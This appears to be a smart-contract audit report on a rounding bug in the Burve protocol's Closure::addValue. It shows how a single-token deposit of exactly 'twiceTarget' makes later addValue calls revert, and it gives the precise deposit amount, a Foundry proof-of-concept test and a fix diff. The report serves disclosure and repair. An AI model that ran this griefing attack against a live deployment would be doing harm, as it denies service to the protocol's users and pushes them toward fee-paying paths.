Elegant Punch Dog

High

# [H-2] A Malicious User can cause a DoS in `ValueFacet::addValue` of a closure by depositing exactly the `twiceTarget` amount of any single token

### Summary

`ValueFacet::addValue` is a function in the `ValueFacet` where a user can "Add exactly this much value to the given closure by providing all tokens involved." but the issue is that if a Malicious user determines and deposits exactly `twiceTarget` amount of a single token in a closure then `ValueFacet::addValue` will always revert resulting in a DoS 

### Root Cause


 Reference : [RootCause](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/multi/closure/Closure.sol#L134-L142)

consider the Snippet from the `Closure::addValue` :

```solidity
 function addValue(Closure storage self, uint256 value, uint256 bgtValue)
        internal
        returns (uint256[MAX_TOKENS] memory requiredBalances)
    {
        trimAllBalances(self);
        // Round up so they add dust.
        uint256 scaleX128 = FullMath.mulDivX256(value, self.n * self.targetX128, true);
        uint256 valueX128 = value << 128;
        // Technically, by rounding up there will be a higher target value than actual value in the pool.
        // This is not an issue as it causes redeems to be less by dust and swaps to be more expensive by dust.
        // Plus this will be fixed when someone adds/removes value with an exact token amount.
        self.targetX128 += valueX128 / self.n + ((valueX128 % self.n) > 0 ? 1 : 0);
        self.valueStaked += value;
        self.bgtValueStaked += bgtValue;
        // Value is handled. Now handle balances.
        for (uint8 i = 0; i < MAX_TOKENS; ++i) {
            if (!self.cid.contains(i)) continue;

@>            requiredBalances[i] = FullMath.mulX128(scaleX128, self.balances[i], true);

            // This happens after because the vault will have
           
@>            self.setBalance(i, self.balances[i] + requiredBalances[i]);
        }
      
    }
```
 whenever `ValueFacet::addValue` is called it inturn calls the `Closure::addValue`  which inturn updates the `requiredBalances` of each token for the value being added. 

 So, if a Malicious user determines the amount of single token to make `self.balances[i]` exactly equal to `twiceTarget` and deposits them by calling `ValueFacet::addSingleForValue`

 (for a closure with `startingTarget` of 100e18 and 3 tokens the value required is exactly `257142857142857142857` , we also didn't consider closure fee for simplicity purpose) 

 then the `requiredBalances[i]` in the for-loop of the above snippet Rounds-up making the `self.balances[i] + requiredBalances[i]` be `1` more than `twiceTarget` resulting in a revert 

### Internal Pre-conditions

None

### External Pre-conditions

Malicious User should call `ValueFacet::addSingleForValue` to deposit the required amount

### Attack Path

1. Malicious User Selects a Closure with heavy demand
2. Malicious User determines the amount of single token to make `self.balances[i]` exactly equal to `twiceTarget` and deposits them by calling `ValueFacet::addSingleForValue` i.e  `257142857142857142857`(257e18) tokens for a closure with `startingTarget` of 100e18 and 3 tokens and no closure fee
3. Now `ValueFacet::addValue` will now always revert resulting in a DoS

NOTE:  257e18 tokens only if Malicious User wants to be the sole depositor of that token , he can even deposit to partially filled Vertexes i.e for a token with 200e18 balance already the Malicious user requires to deposit only 57 tokens


### Impact

1. `ValueFacet::addValue` of a closure will always revert resulting in a DoS
2. Protocol incentivises users to use `valueFacet::addValue` by not collecting any fee in that function and Now a Malicious user will force other users to pay fee by DoSing `valueFacet::addValue`

### PoC


PoC: Run the following command in the terminal `forge test --mt test_addValueDoS -vvvvv`

<details>
<summary>test_addValueDoS</summary>

```solidity

 function test_addValueDoS() public {
        address _token = address(tokens[2]);
        deal(_token, address(this), 10e21);

        //Malicious User Deposits Single Token
        address _griefer = makeAddr("griefer");
        deal(_token, address(_griefer), 4e20);
        vm.startPrank(_griefer);

        //Twice Target ,setBalance , determined Value
        //257142857142857142857
        uint128 _amountG = 257142857142857142857;

        ERC20(_token).approve(address(valueFacet), _amountG);
        valueFacet.addSingleForValue(address(_griefer), 0xD, tokens[2], _amountG, 0, 0);
        vm.stopPrank();

        //Another User tries to addValue but it always reverts
        vm.expectRevert();
        uint256[16] memory requiredBalances = valueFacet.addValue(address(this), 0xD, 1e20, 0);

        //also Reverts for Very Small amount of Values
        vm.expectRevert();
        requiredBalances = valueFacet.addValue(address(this), 0xD, 10, 0);

        vm.expectRevert();
        requiredBalances = valueFacet.addValue(address(this), 0xD, 1, 0);
    }

```
</details>



### Mitigation

The issue is caused because of roundingup of  `requiredBalances[i]` when `self.balances[i]` is exactly equal to `twiceTarget` so to mitigate the issue we rounddown the `requiredBalances[i]` (subtract it by `1`) whenever `self.targetX128 >> 127 < requiredBalances[i] + self.balances[i]` where `self.targetX128 >> 127` is the `twiceTarget` of the closure.

Make the following changes in `Closure::addValue`

```diff

        function addValue(Closure storage self, uint256 value, uint256 bgtValue)
        internal
        returns (uint256[MAX_TOKENS] memory requiredBalances)
    {
        trimAllBalances(self);
        // Round up so they add dust.
        uint256 scaleX128 = FullMath.mulDivX256(value, self.n * self.targetX128, true);
        uint256 valueX128 = value << 128;
        // Technically, by rounding up there will be a higher target value than actual value in the pool.
        // This is not an issue as it causes redeems to be less by dust and swaps to be more expensive by dust.
        // Plus this will be fixed when someone adds/removes value with an exact token amount.
        self.targetX128 += valueX128 / self.n + ((valueX128 % self.n) > 0 ? 1 : 0);
        self.valueStaked += value;
        self.bgtValueStaked += bgtValue;
        // Value is handled. Now handle balances.
        for (uint8 i = 0; i < MAX_TOKENS; ++i) {
            if (!self.cid.contains(i)) continue;

            requiredBalances[i] = FullMath.mulX128(scaleX128, self.balances[i], true);

            console.log("requiredBalances[i] : %d", i, requiredBalances[i]);
            // This happens after because the vault will have

+            if (self.targetX128 >> 127 < requiredBalances[i] + self.balances[i]) {
+               requiredBalances[i] -= 1;
+            }

            self.setBalance(i, self.balances[i] + requiredBalances[i]);
        }
        
    }


```